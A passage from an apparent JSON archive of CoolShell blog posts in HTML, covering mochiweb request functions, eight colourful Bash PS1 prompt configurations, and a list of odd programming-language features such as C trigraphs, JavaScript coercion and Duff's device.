-&gt;<br/>\nio:format(“~p : ~p ~n”, [Key, Value])<br/>\nend,<br/>\nmochiweb_headers:to_list(Headers)).</p>\n<p>10.<span style=\"color: #339966;\"><strong>Req:parse_cookie()</strong></span> -&gt; [{string(), string()}].<br/>\n解析Cookie</p>\n<p>11.<strong><span style=\"color: #339966;\">R</span></strong><span style=\"color: #339966;\"><strong><span style=\"color: #339966;\">eq:get_cookie_value(Key)</span></strong></span><strong><span style=\"color: #339966;\"> </span></strong>-&gt; string().<br/>\n类似<span style=\"color: #ffcc00;\">Req:get_header_value(Key)</span></p>\n<div><span style=\"font-family: 'Lucida Grande', Verdana, Arial, 'Bitstream Vera Sans', sans-serif;\"><span>最近搜了下，发现用mochiweb的挺多的。但自己用的时候发现来不少疑难。以上文档皆由litaocheng总结提供。感谢所带来的帮助。希望这个对国内使用mochiweb的朋友们带来帮助。</span></span></div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2111.html\"><img alt=\"erlang打包独立环境\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2111.html\">erlang打包独立环境</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1839.html\"><img alt=\"编程语言汽车\" height=\"150\" src=\"../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1839.html\">编程语言汽车</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1313.html\"><img alt=\"Erlang和Python互通\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1313.html\">Erlang和Python互通</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1579.html\"><img alt=\"一张关于操作系统的图\" height=\"150\" src=\"../wp-content/uploads/2009/10/operating-systems-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1579.html\">一张关于操作系统的图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9104.html\"><img alt=\"sed 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/sed-superman-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9104.html\">sed 简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2913.html\"><img alt=\"消费者的消费观\" height=\"150\" src=\"../wp-content/uploads/2010/09/1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2913.html\">消费者的消费观</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1516.html\">mochiweb参数化模型Req相关功能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-9-7 8个实用而有趣Bash命令提示行.html",
    "content": "<html><body><p></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">很多人都对过命令行提示的重要性不屑一顾，甚至是一点都不关心。但是我却一点都不这么认为，一个好的命令行提示可以改变你使用命令的方式。为此，我在internet上找到一些非常实用，优秀，并有趣的bash的命令行提示。下面我将我最喜欢使用的一些命令行提示罗列如下。</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">注意  –  要使用下面这些提示，你可以拷贝粘贴这些以”PS1″打头的内容到你的终端上，为了使你的改变永久生效，还要将这些内容粘贴到你使用用户的~/.bashrc文件中去。</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\"><span id=\"more-1399\"></span></p>\n<h3>1. 在成功执行的命令上增加一个笑脸符号</h3>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">这个命令提示行可能是这个命令行提示列表中最有趣的一个，但是它也依然有使用的价值。这个提示的想法是基于当你命令被成功执行，你将会得到一个笑脸作为你的命令行提示，一旦的命令执行失败，命令行提示将会换成一个哭脸。</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">例子：</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px; text-align: center;\"><img alt=\"bashprompts-happyface\" class=\"aligncenter\" src=\"http://images.maketecheasier.com/2009/08/bashprompts-happyface.jpg\"/></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">代码：</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">PS1=”\\<code class=\"EnlighterJSRAW\">if [ \\$? = 0 ]; then echo \\[\\e[33m\\]^_^\\[\\e[0m\\]; else echo \\[\\e[31m\\]O_O\\[\\e[0m\\]; fi\\</code>[\\u@\\h:\\w]\\\\$ “</p>\n<h3><strong>2.更改失败命令的颜色</strong></h3>\n<p><span style=\"color: #000000;\">下面这个命令行提示是我最喜欢的命令行之一。和上一个相似，这个命令行提示的颜色会在你最后一个命令运行失败后改变，而且这个命令行长路径会缩短输入命令的空间，这个命令提示还包含了bash 每个历史命令的命令号，以方便重新提取运行。</span></p>\n<p><span style=\"color: #000000;\">例子：</span></p>\n<p style=\"text-align: center;\"><span style=\"color: #000000;\"><img alt=\"bashprompts-hurring\" class=\"aligncenter\" src=\"http://images.maketecheasier.com/2009/08/bashprompts-hurring.jpg\"/></span></p>\n<p><span style=\"color: #000000;\">代码：</span></p>\n<p><span style=\"color: #000000;\">PS1=”\\[\\033[0;33m\\][\\!]\\<code class=\"EnlighterJSRAW\">if [[ \\$? = \"0\" ]]; then echo \"\\\\[\\\\033[32m\\\\]\"; else echo \"\\\\[\\\\033[31m\\\\]\"; fi\\</code>[\\u.\\h: \\<code class=\"EnlighterJSRAW\">if [[ </code>|wc -c|tr -d ” “<code class=\"EnlighterJSRAW\"> &gt; 18 ]]; then echo \"\\\\W\"; else echo \"\\\\w\"; fi\\</code>]\\$\\[\\033[0m\\] “; echo -ne “\\033]0;<code class=\"EnlighterJSRAW\">hostname -s</code>:<code class=\"EnlighterJSRAW\">pwd</code>\\007″‘</span></p>\n<h3 style=\"padding-top: 10px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 18px; font-weight: 700; color: #333333; margin: 0px;\">3. 多行提示</h3>\n<p>如果你是喜欢命令行提示中包含完整信息的那一类人，那么下边就有一个适合于你的命令行提示。这个命令行提示信息中包含日期/时间，全路径，用户，主机，活动终端，甚至包含文件数和占用空间等。</p>\n<p>例子：</p>\n<p style=\"TEXT-ALIGN: center;\"><br style=\"padding: 0px; margin: 0px;\"/><img alt=\"bashprompts-informant\" class=\"aligncenter\" height=\"162\" src=\"http://images.maketecheasier.com/2009/08/bashprompts-informant.jpg\" style=\"margin-top: 0px; margin-right: auto; margin-bottom: 0px; margin-left: auto; display: block; padding: 0px;\" width=\"392\"/></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">代码：</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">PROMPT_COMMAND=’PS1=”\\n\\[\\033[35m\\]\\$(/bin/date)\\n\\[\\033[32m\\]\\w\\n\\[\\033[1;31m\\]\\u@\\h: \\[\\033[1;34m\\]\\$(/usr/bin/tty | /bin/sed -e ‘s:/dev/::’): \\[\\033[1;36m\\]\\$(/bin/ls -1 | /usr/bin/wc -l | /bin/sed ‘s: ::g’) files \\[\\033[1;33m\\]\\$(/bin/ls -lah | /bin/grep -m 1 total | /bin/sed ‘s/total //’)b\\[\\033[0m\\] -&gt; \\[\\033[0m\\]”‘</p>\n<p><span style=\"font-family: 'Lucida Grande'; line-height: normal;\"> </span></p>\n<h3 style=\"padding-top: 10px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 18px; font-weight: 700; color: #333333; margin: 0px;\">4. 多颜色提示</h3>\n<p>这个命令行提示除了使用了不同颜色来区别不同信息外，它并没有很特别的地方。就像你看到的那样，它提供了时间，用户名，主机名，当前目录。相当少的信息，但是非常地实用。</p>\n<p>例子：</p>\n<p style=\"TEXT-ALIGN: center; PADDING-BOTTOM: 2px; LINE-HEIGHT: 20px; MARGIN: 0px 0px 10px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 2px;\"><img alt=\"bashprompts-4\" class=\"size-full wp-image-6808 aligncenter\" height=\"69\" src=\"http://images.maketecheasier.com/2009/08/bashprompts-4.jpg\" style=\"margin-top: 0px; margin-right: auto; margin-bottom: 0px; margin-left: auto; display: block; padding: 0px;\" width=\"333\"/></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\"><span style=\"line-height: 20px;\">代码：</span></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\"><span style=\"line-height: 20px;\">PS1=”\\[\\033[35m\\]\\t\\[\\033[m\\]-\\[\\033[36m\\]\\u\\[\\033[m\\]@\\[\\033[32m\\]\\h:\\[\\033[33;1m\\]\\w\\[\\033[m\\]\\$ “</span></p>\n<p><span style=\"font-family: 'Lucida Grande'; line-height: normal;\"> </span></p>\n<h3 style=\"padding-top: 10px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 18px; font-weight: 700; color: #333333; margin: 0px;\">5.显示完整路径</h3>\n<p>这是一个良好，简洁，最小的2行提示(加上顶上的空行)。在第一行你能得到一个全路径信息，在第二行是一个用户名。如果你对每个命令提示行的空行不爽的话，你只要移走第一个\\n就OK了</p>\n<p>例子：</p>\n<p style=\"TEXT-ALIGN: center;\"><img alt=\"bashprompts-5\" class=\"size-full wp-image-6818 aligncenter\" height=\"126\" src=\"http://images.maketecheasier.com/2009/08/bashprompts-5.jpg\" style=\"margin-top: 0px; margin-right: auto; margin-bottom: 0px; margin-left: auto; display: block; padding: 0px;\" width=\"231\"/></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">代码：</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\"><span style=\"line-height: 20px;\">PS1=”[\\[\\033[32m\\]\\w]\\[\\033[0m\\]\\n\\[\\033[1;36m\\]\\u\\[\\033[1;33m\\]-&gt; \\[\\033[0m\\]”</span></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\"><span style=\"line-height: 20px;\"> </span></p>\n<h3>6. 显示后台运行任务数</h3>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">这是另外的一个两行提示，但是这个两行提示具有更多的之前我们没有的信息。第一行是显示通常的user@host和全路径等信息。在第二行我们可以得到命令执行历史序号和一个后台运行任务个数信息。</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">例子：</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\"> </p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px; text-align: center;\"><img alt=\"bashprompts-6\" src=\"http://images.maketecheasier.com/2009/08/bashprompts-61.jpg\"/></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">代码：</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">PS1=’\\[\\e[1;32m\\]\\u@\\H:\\[\\e[m\\] \\[\\e[1;37m\\]\\w\\[\\e[m\\]\\n\\[\\e[1;33m\\]hist:\\! \\[\\e[0;33m\\] \\[\\e[1;31m\\]jobs:\\j \\$\\[\\e[m\\] ‘</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\"> </p>\n<h3>7. 显示路径信息</h3>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">这是一个非常眩的设计。我们可以从这个命令行提示信息的第一行中获取到用户/主机，运行任务数，和时间日期等信息。在第二行我们可以得到当前目录的文件数和他们占用的磁盘空间。</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">例子：</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\"> </p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px; text-align: center;\"><img alt=\"bashprompts-7\" class=\"aligncenter\" src=\"http://images.maketecheasier.com/2009/08/bashprompts-7.jpg\"/></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">代码:</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">PS1=”\\n\\[\\e[30;1m\\]\\[\\016\\]l\\[\\017\\](\\[\\e[34;1m\\]\\u@\\h\\[\\e[30;1m\\])-(\\[\\e[34;1m\\]\\j\\[\\e[30;1m\\])-(\\[\\e[34;1m\\]\\@ \\d\\[\\e[30;1m\\])-&gt;\\[\\e[30;1m\\]\\n\\[\\016\\]m\\[\\017\\]-(\\[\\[\\e[32;1m\\]\\w\\[\\e[30;1m\\])-(\\[\\e[32;1m\\]\\$(/bin/ls -1 | /usr/bin/wc -l | /bin/sed ‘s: ::g’) files, \\$(/bin/ls -lah | /bin/grep -m 1 total | /bin/sed ‘s/total //’)b\\[\\e[30;1m\\])–&gt; \\[\\e[0m\\]”</p>\n<h3>8. My Prompt</h3>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">最后这个命令提示行是我个人最喜欢的使用的命令提示行。它是#7的一个修改，这个命令提示行只包含我最希望知道的信息，因此节省了它的占用空间。我偏爱两行风格，因为这样不仅可以让我看到全路径信息，而且不影响我命令输入的可视空间。</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">例子:</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px; text-align: center;\"><img alt=\"bashprompts-8\" class=\"aligncenter\" src=\"http://images.maketecheasier.com/2009/08/bashprompts-8.jpg\"/></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">代码:</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">PS1=”\\n\\[\\e[32;1m\\](\\[\\e[37;1m\\]\\u\\[\\e[32;1m\\])-(\\[\\e[37;1m\\]jobs:\\j\\[\\e[32;1m\\])-(\\[\\e[37;1m\\]\\w\\[\\e[32;1m\\])\\n(\\[\\[\\e[37;1m\\]! \\!\\[\\e[32;1m\\])-&gt; \\[\\e[0m\\]”</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">如果你愿意共享你的命令提示行，请在将这些命令提示代码加在下面的评论中。</p>\n<div id=\"_mcePaste\">\n<p>PS1=”\\n\\[\\033[35m\\]\\$(/bin/date)\\n\\[\\033[32m\\]\\w\\n\\[\\033[1;31m\\]\\u@\\h: \\[\\033[1;34m\\]\\$(/usr/bin/tty | /bin/sed</p>\n<p>-e ‘s:/dev/::’): \\[\\033[1;36m\\]\\$(/bin/ls -1 | /usr/bin/wc -l | /bin/sed ‘s: ::g’) files \\[\\033[1;33m\\]\\$(/bin/ls -lah | /bin/grep -m 1 total | /bin/sed ‘s/total //’)b\\[\\033[0m\\] -&gt; \\[\\033[0m\\]”</p>\n</div>\n<p><a href=\"http://maketecheasier.com/8-useful-and-interesting-bash-prompts/2009/09/04\" target=\"_blank\" title=\"原文出处\"> 出处</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11973.html\"><img alt=\"bash代码注入的安全漏洞\" height=\"150\" src=\"../wp-content/uploads/2014/09/bashbug-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11973.html\">bash代码注入的安全漏洞</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8619.html\"><img alt=\"你可能不知道的Shell\" height=\"150\" src=\"../wp-content/uploads/2012/11/shell.01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8619.html\">你可能不知道的Shell</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2987.html\"><img alt=\"用脚本实现哄宝宝睡觉(Demo)\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2987.html\">用脚本实现哄宝宝睡觉(Demo)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1824.html\"><img alt=\"C语言和sh脚本的杂交代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1824.html\">C语言和sh脚本的杂交代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1574.html\"><img alt=\"bash 函数级重定向\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1574.html\">bash 函数级重定向</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1399.html\">8个实用而有趣Bash命令提示行</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-1-21 最为奇怪的程序语言的特性.html",
    "content": "<html><body><p>这些最为奇怪的程序语言的特性，来自stackoverflow.com，原贴在<a href=\"http://stackoverflow.com/questions/1995113?sort=votes&amp;page=1\" target=\"_blank\">这里</a>。我摘选了一些例子，的确是比较怪异，让我们一个一个来看看。 </p>\n<p><strong>1、C语言中的数组</strong> </p>\n<p style=\"padding-left: 30px;\">在C/C++中，a[10] 可以写成 10[a] </p>\n<p style=\"padding-left: 30px;\">“Hello World”[i] 也可以写成 i[“Hello World”] </p>\n<p>这样的特性是不是很怪异？如果你想知道为什么的话，你可以看看本站的这篇文章——《<a href=\"https://coolshell.cn/articles/945.html\" target=\"_blank\">C语言的谜题</a>》中的第12题。 </p>\n<p><strong>2、在Javascript中</strong> </p>\n<p> ‘5’ + 3 的结果是：’53’<br/>\n ‘5’ – 3 的结果是：2 </p>\n<p><strong>3、C/C++中的Trigraphs</strong> </p>\n<pre class=\"EnlighterJSRAW\">int main() {\n   cout &lt;&lt; \"LOL??!\";\n}</pre>\n<p>上面的这段程序会输出： “LOL|”，这是因为 ??! 被转成了 | ，关于Trigraphs，下面有个表格： </p>\n<p><span id=\"more-2053\"></span></p>\n<table style=\"width: 237px; height: 184px;\">\n<tbody>\n<tr valign=\"top\">\n<td>??=</td>\n<td>#</td>\n</tr>\n<tr valign=\"top\">\n<td>??(</td>\n<td>[</td>\n</tr>\n<tr valign=\"top\">\n<td>??/</td>\n<td>\\</td>\n</tr>\n<tr valign=\"top\">\n<td>??)</td>\n<td>]</td>\n</tr>\n<tr valign=\"top\">\n<td>??’</td>\n<td>^</td>\n</tr>\n<tr valign=\"top\">\n<td>??&lt;</td>\n<td>{</td>\n</tr>\n<tr valign=\"top\">\n<td>??!</td>\n<td>|</td>\n</tr>\n<tr valign=\"top\">\n<td>??&gt;</td>\n<td>}</td>\n</tr>\n<tr valign=\"top\">\n<td>??-</td>\n<td>~</td>\n</tr>\n</tbody>\n</table>\n<p>  </p>\n<p><strong>4、JavaScript 的条件表</strong> </p>\n<p>看到下面这个表，不难理解为什么Javascript程序员为什么痛苦了——《<a href=\"https://coolshell.cn/articles/1850.html\" rel=\"bookmark\">Javascript程序员嘴最脏??</a>》 </p>\n<p>[javascript]”        ==   ‘0’           //false<br/>\n0         ==   ”            //true<br/>\n0         ==   ‘0’           //true<br/>\nfalse     ==   ‘false’       //false<br/>\nfalse     ==   ‘0’           //true<br/>\nfalse     ==   undefined     //false<br/>\nfalse     ==   null          //false<br/>\nnull      ==   undefined     //true<br/>\n\" \\t\\r\\n\" ==   0             //true[/javascript] </p>\n<p><strong>5、Java的Integer cache</strong> </p>\n<pre class=\"EnlighterJSRAW\">Integer foo = 1000;\nInteger bar = 1000;\n \nfoo &lt;= bar; // true\nfoo &gt;= bar; // true\nfoo == bar; // false\n \n//然后，如果你的 foo 和 bar 的值在 127 和 -128 之间（包括）\n//那么，其行为则改变了：\n \nInteger foo = 42;\nInteger bar = 42;\n \nfoo &lt;= bar; // true\nfoo &gt;= bar; // true\nfoo == bar; // true</pre>\n<p>为什么会这样呢？你需要了解一下Java Interger Cache，下面是相关的程序，注意其中的注释</p>\n<pre class=\"EnlighterJSRAW\">/**\n     * Returns a &lt;tt&gt;Integer&lt;/tt&gt; instance representing the specified\n     * &lt;tt&gt;int&lt;/tt&gt; value.\n     * If a new &lt;tt&gt;Integer&lt;/tt&gt; instance is not required, this method\n     * should generally be used in preference to the constructor\n     * &lt;a href=\"mailto:{@link\"&gt;{@link&lt;/a&gt; #Integer(int)}, as this method is likely to yield\n     * significantly better space and time performance by caching\n     * frequently requested values.\n     *\n     * @param  i an &lt;code&gt;int&lt;/code&gt; value.\n     * @return a &lt;tt&gt;Integer&lt;/tt&gt; instance representing &lt;tt&gt;i&lt;/tt&gt;.\n     * @since  1.5\n     */\n    public static Integer valueOf(int i) {\n        if(i &gt;= -128 &amp;&amp; i &lt;= IntegerCache.high)\n            return IntegerCache.cache[i + 128];\n        else\n            return new Integer(i);\n    }\n</pre>\n<p><strong>5、Perl的那些奇怪的变量</strong></p>\n<p>[perl]$.<br/>\n$_<br/>\n$_#<br/>\n$$<br/>\n$[<br/>\n@_[/perl]</p>\n<p>其所有的这些怪异的变量请参看：<a href=\"http://www.kichwa.com/quik_ref/spec_variables.html\">http://www.kichwa.com/quik_ref/spec_variables.html</a> </p>\n<p><strong>6、Java的异常返回</strong></p>\n<p>请看下面这段程序，你觉得其返回true还是false？</p>\n<pre class=\"EnlighterJSRAW\">try {\n    return true;\n} finally {\n    return false;\n}</pre>\n<p>在 javascript 和python下，其行为和Java的是一样的。 </p>\n<p><strong>7、C语言中的Duff device</strong></p>\n<p>下面的这段程序你能看得懂吗？这就是所谓的Duff Device，相当的怪异。</p>\n<pre class=\"EnlighterJSRAW\">void duff_memcpy( char* to, char* from, size_t count ) {\n    size_t n = (count+7)/8;\n    switch( count%8 ) {\n    case 0: do{ *to++ = *from++;\n    case 7:     *to++ = *from++;\n    case 6:     *to++ = *from++;\n    case 5:     *to++ = *from++;\n    case 4:     *to++ = *from++;\n    case 3:     *to++ = *from++;\n    case 2:     *to++ = *from++;\n    case 1:     *to++ = *from++;\n            }while(--n&gt;0);\n    }\n} </pre>\n<p><strong>8、PHP中的字符串当函数用</strong></p>\n<p>PHP中的某些用法也是很怪异的</p>\n<pre class=\"EnlighterJSRAW\">$x = \"foo\";\nfunction foo(){ echo \"wtf\"; }\n$x();</pre>\n<p><strong>9、在C++中，你可以使用空指针调用静态函数</strong></p>\n<pre class=\"EnlighterJSRAW\">class Foo {\n  public:\n    static void bar() {\n      std::cout &lt;&lt; \"bar()\" &lt;&lt; std::endl;\n    }\n};\n \nint main(void) {\n  Foo * foo = NULL;\n  foo-&gt;bar(); //=&gt; WTF!?\n  return 0; // Ok!\n}</pre>\n<p>呵呵。的确是挺怪异的。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p 